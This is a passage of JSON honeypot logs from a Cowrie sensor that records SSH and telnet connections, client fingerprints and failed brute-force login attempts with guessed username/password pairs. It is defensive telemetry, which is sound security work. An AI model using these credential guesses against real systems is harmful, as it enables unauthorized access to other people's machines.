mac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:58.791576Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21121990","message":"login attempt [user/21121990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:59.262312Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2111","message":"login attempt [user/2111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:00.365541Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21101995","message":"login attempt [user/21101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:01.468616Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210990","message":"login attempt [user/210990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:02.571246Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21081982","message":"login attempt [user/21081982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:03.673982Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:04.778088Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":33506,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8196ea7599","protocol":"ssh","message":"New connection: 211.186.79.173:33506 (10.17.0.5:22) [session: 2a8196ea7599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:15.288276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:15.296806Z","src_ip":"211.186.79.173","session":"2a8196ea7599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:15.476729Z","src_ip":"211.186.79.173","session":"2a8196ea7599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123!@#","message":"login attempt [admin/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:16.230773Z","src_ip":"211.186.79.173","session":"2a8196ea7599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:17.416734Z","src_ip":"211.186.79.173","session":"2a8196ea7599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":18285,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aaff0ddedf7","protocol":"ssh","message":"New connection: 185.9.193.111:18285 (159.203.135.109:22) [session: 6aaff0ddedf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:33.203074Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":53948,"dst_ip":"10.17.0.5","dst_port":22,"session":"908650fa565d","protocol":"ssh","message":"New connection: 187.212.47.18:53948 (10.17.0.5:22) [session: 908650fa565d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:35.866380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:35.871341Z","src_ip":"187.212.47.18","session":"908650fa565d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:36.093375Z","src_ip":"187.212.47.18","session":"908650fa565d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:36.169913Z","src_ip":"185.9.193.111","session":"6aaff0ddedf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qwe","message":"login attempt [test/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:36.434931Z","src_ip":"187.212.47.18","session":"908650fa565d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:36.594653Z","src_ip":"185.9.193.111","session":"6aaff0ddedf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:37.004207Z","src_ip":"185.9.193.111","session":"6aaff0ddedf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:37.514445Z","src_ip":"187.212.47.18","session":"908650fa565d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":47670,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a003f267f1d","protocol":"ssh","message":"New connection: 120.48.135.189:47670 (10.17.0.5:22) [session: 4a003f267f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:52.731606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:52.738739Z","src_ip":"120.48.135.189","session":"4a003f267f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:52.957111Z","src_ip":"120.48.135.189","session":"4a003f267f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123456789","message":"login attempt [root/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:53.865382Z","src_ip":"120.48.135.189","session":"4a003f267f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":42538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b4c32f62510","protocol":"telnet","message":"New connection: 45.63.78.87:42538 (10.17.0.5:23) [session: 1b4c32f62510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:58:56.605582Z"}
{"eventid":"cowrie.session.closed","duration":31.35822582244873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:27.963704Z","src_ip":"45.63.78.87","session":"1b4c32f62510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":47006,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc817a95611d","protocol":"ssh","message":"New connection: 211.186.79.173:47006 (10.17.0.5:22) [session: dc817a95611d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:33.346615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:33.350480Z","src_ip":"211.186.79.173","session":"dc817a95611d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:33.530590Z","src_ip":"211.186.79.173","session":"dc817a95611d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver123","message":"login attempt [csgoserver/csgoserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:34.270396Z","src_ip":"211.186.79.173","session":"dc817a95611d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:35.453225Z","src_ip":"211.186.79.173","session":"dc817a95611d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":60568,"dst_ip":"159.203.135.109","dst_port":22,"session":"87458db41105","protocol":"ssh","message":"New connection: 36.93.249.106:60568 (159.203.135.109:22) [session: 87458db41105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:55.225030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:55.230503Z","src_ip":"36.93.249.106","session":"87458db41105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:55.502707Z","src_ip":"36.93.249.106","session":"87458db41105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456789","message":"login attempt [mysql/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:56.618143Z","src_ip":"36.93.249.106","session":"87458db41105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"efcb8e2a204c","protocol":"telnet","message":"New connection: 45.63.78.87:57724 (10.17.0.5:23) [session: efcb8e2a204c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:57.303814Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:59:57.891181Z","src_ip":"36.93.249.106","session":"87458db41105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.913499355316162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:28.217194Z","src_ip":"45.63.78.87","session":"efcb8e2a204c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":14726,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b6f362af96f","protocol":"ssh","message":"New connection: 185.9.193.111:14726 (159.203.135.109:22) [session: 4b6f362af96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:35.793910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:35.799585Z","src_ip":"185.9.193.111","session":"4b6f362af96f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:36.371347Z","src_ip":"185.9.193.111","session":"4b6f362af96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@123","message":"login attempt [user/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:41.315653Z","src_ip":"185.9.193.111","session":"4b6f362af96f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:43.164081Z","src_ip":"185.9.193.111","session":"4b6f362af96f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":46666,"dst_ip":"159.203.135.109","dst_port":22,"session":"d733fb8ad770","protocol":"ssh","message":"New connection: 36.93.249.106:46666 (159.203.135.109:22) [session: d733fb8ad770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:48.681242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:00:48.686331Z","src_ip":"36.93.249.106","session":"d733fb8ad770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh